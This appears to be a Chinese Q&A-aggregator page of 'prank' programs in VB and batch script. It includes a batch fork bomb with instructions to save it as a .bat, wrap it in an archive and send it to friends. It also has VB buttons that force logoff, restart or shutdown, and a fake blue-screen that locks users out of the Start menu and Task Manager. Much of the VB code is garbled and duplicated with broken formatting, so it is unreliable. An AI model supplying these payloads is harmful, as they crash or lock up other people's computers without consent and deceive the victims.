vb整人代码

Private Sub Form_Load()

dim i as integer,N as integer

n=1000

for i=1 to n

MsgBox "你中奖了, 奖品：" & n-i &"个对话框",16,"中奖了"

next

End Sub

1新建一个记事本

2把下面代码增贴进去

@echo off

start cmd

%0

3增贴后，点击文件 - 另存为

4输入文件名，在文件名后面加上bat

5然后发给好友就可以了！

（发送好友的时候，就好就加个壳，右键文件 - 压缩文件 即可！）

PS：力相当的厉害，所以请勿弄过火，否则后果自负！

Private

Sub

Command1_Click()

Shell

"shutdown

-l"

’-l

是shutdown

的一个参数

意思是注销用户

End

Sub

Private

Sub

Command2_Click()

Shell

"shutdown

-R

-t

0"

’-r

是重启

等待时间为0秒

End

Sub

Private

Sub

Command3_Click()

Shell

"shutdown

-S

-t

0"

’-s

是关闭系统

End

Sub

Option Explicit

Dim ctCi As Long, ctT As Long, ctExitT As Long, ctStr() As String, ctStrS As Long, ctExit As Boolean

Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Sub Form_KeyPress(KeyAscii As Integer) '窗体的键盘事件

For KeyAscii = 1 To 127           '循环变量KeyAscii的值

   Exit For  '结束循环

   Next KeyAscii

End Sub

Private Sub Form_Load()

     ctExitT = 120 '程序自动退出的时间（秒），可根据自己的喜好设定

     MeBackColor = RGB(0, 0, 255): MeCaption = "蓝屏死机"

     MeAutoRedraw = True: MeWindowState = 2

     MeFontSize = 21: MeForeColor = &HFFFFFF

     Timer1Interval = 50: Timer1Enabled = True

     ReDim ctStr(0 To 0)

End Sub

Private Sub Form_Click()

     If ctExit Then Unload Me

End Sub

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)

   '单击左上角 20 个像素范围

     Dim S1 As Single

     S1 = MeScaleX(20, 3, MeScaleMode)

     If X > S1 Or Y > S1 Then ctCi = 0: Exit Sub

     ctCi = ctCi + 1

     If ctCi > 4 Then Call ExitInf

End Sub

Private Sub ExitInf()

     Timer1Enabled = False: MeWindowState = 0: ctCi = 0: ctExit = True

     MeMove ScreenWidth  01, ScreenHeight  01, ScreenWidth  08, ScreenHeight  08

     ctStrS = -1

     AddStr "哈哈，一个玩笑"

     AddStr "结束本程序：单击蓝色区任意位置"

     Call ShowStr

End Sub

Private Sub Timer1_Timer()

    Static Ci As Long

    WinInTop MehWnd, True '始终将窗体保持在最前面，使用户无法使用开始菜单、任务管理器，无法 *** 作任何程序

    Ci = Ci + 1

    If Ci  Timer1Interval < 1000 Then Exit Sub '保证一秒钟计数一次

    Ci = 0: ctExitT = ctExitT - 1: ctT = ctT + 1

    If ctExitT < 1 Then Call ExitInf: Exit Sub

    Select Case ctT

    Case 1

       ctStrS = -1

       AddStr "Your Windows is died"

       Call ShowStr

    Case 5

       ctStrS = -1

       AddStr "Windows 警告"

       AddStr "内存出现严重错误"

       Call ShowStr

    Case 10 To 24

       ctStrS = -1

       AddStr "警告"

       AddStr "硬盘错误，无法正常运行 Windows"

       AddStr "Windows 正在试图修复所有错误"

       AddStr "请等待 " & ctExitT & " 秒……"

       Call ShowStr

    Case 25

       ctStrS = -1

       AddStr "警告"

       AddStr "由于你使用了盗版 *** 作系统"

       AddStr "微软惩罚你：定期死机"

       Call ShowStr

    Case Else

       If ctT > 30 Then ctT = 0

    End Select

End Sub

Private Sub AddStr(nStr)

     ctStrS = ctStrS + 1

     ReDim Preserve ctStr(0 To ctStrS): ctStr(ctStrS) = nStr

End Sub

Private Sub ShowStr()

     Dim I As Long, S1 As Single, Y0 As Single, Y As Single, Hj As Single

     S1 = MeTextHeight("A"): Hj = 05 '行高和行距

     Y0 = S1  (1 + Hj)  (1 + ctStrS) - S1  Hj

     Y0 = (MeScaleHeight - Y0)  05

     MeCls

     For I = 0 To ctStrS

         MeCurrentX = (MeScaleWidth - MeTextWidth(ctStr(I)))  05

         MeCurrentY = Y0 + I  S1  (1 + Hj)

         MePrint ctStr(I)

     Next

End Sub

Private Sub WinInTop(nWnd As Long, Optional InTop As Boolean)

     Const HWND_NoTopMost = -2 '取消在最前

     Const HWND_TopMost = -1     '最上

     Const SWP_NoSize = &H1      'wFlags 参数

     Const SWP_NoMove = &H2

     Const SWP_NoZorder = &H4

     Const SWP_ShowWindow = &H40

     Const SWP_HideWindow = &H80

     Dim nIn As Long

     If InTop Then nIn = HWND_TopMost Else nIn = HWND_NoTopMost

     SetWindowPos nWnd, nIn, 0, 0, 0, 0, SWP_NoSize + SWP_NoMove

End Sub

整人VB小程序：蓝屏死机

本程序启动后，延时指定的时间（默认10秒）后出现蓝屏，模拟蓝屏死机情形。此时，用户无法使用开始菜单、任务管理器，无法 *** 作任何程序，只能干着急。

1 秒钟后，在蓝屏的背景上显示：Your Windows is died   5 秒钟后，显示：Windows 警告 内存出现严重错误   10 秒钟后，显示并计数：警告 硬盘错误，无法正常运行 Windows，Windows 正在试图修复所有错误，请等待 100 秒……   25 秒钟后，显示：警告 由于你使用了盗版 *** 作系统 微软惩罚你：定期死机

此后，这 4 条信息交替显示   结束本程序的方式有两个：

1用鼠标单击屏幕左上角，连续 5 次（左上角 20 个像素范围的区域，大约 1 平方厘米的大小）

2到程序设定的时间后自动结束，默认 120 秒。   下面是程序运行截图

''

以下是窗体代码，在

VB60

上调试通过：

'

一、在窗体添加一个定时器控件：

Timer1

，不必设置任何属性，

采用默认属性即可

'

二、在属性窗口将窗体的

BorderStyle

属性设置为

0

Dim ctCi As Long, ctT As Long, ctExitT As Long, ctStr() As String,

ctStrS As Long, ctExit As Boolean

Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd

As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y

As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)

As Long

Dim ctShowT As Long

Private Sub Form_Load()

ctShowT = 10

'

运行程序后，

延时显示蓝屏的时间

（秒）

，

可根据自己的喜好设定

MeBackColor = RGB(0, 0, 255): MeCaption = "

蓝屏死机

"

MeAutoRedraw = True: MeWindowState = 2

MeFontSize = 21: MeForeColor = &HFFFFFF

Timer1Interval = 50: Timer1Enabled = True

ReDim ctStr(0 To 0)

End Sub

Private Sub Form_Click()

If ctExit Then Unload Me

End Sub

Private Sub Form_MouseDown(Button As Integer, Shift As Integer,

X As Single, Y As Single)

'

单击左上角

20

个像素范围

Dim S1 As Single

S1 = MeScaleX(20, 3, MeScaleMode)

If X > S1 Or Y > S1 Then ctCi = 0: Exit Sub

ctCi = ctCi + 1

If ctCi > 4 Then Call ExitInf

End Sub

Private Sub ExitInf()

ctExitT = 120

'

程序自动退出的时间（秒），可根据自己的

喜好设定

MeHide

说的是这个吗？                                                                                                                                                                                                                                                                                                                                                                                                         那个程序会让电脑1分钟内关机，并且显示“请输入＇我是弱智＇”，他才会停止关机，并d出一个框：早这样说不就好了吗。  如果需要这个  你反问我就好了。                                        如果你只需要源码

。。记得 反问。。

以上就是关于vb整人代码全部的内容，包括:vb整人代码、VB高级整人代码 锁tasklist 和任务管理器 ！！！！！求助！！！！谢啦、求一段整人的VB代码！等相关内容解答，如果想了解更多相关内容，可以关注我们，你们的支持是我们更新的动力！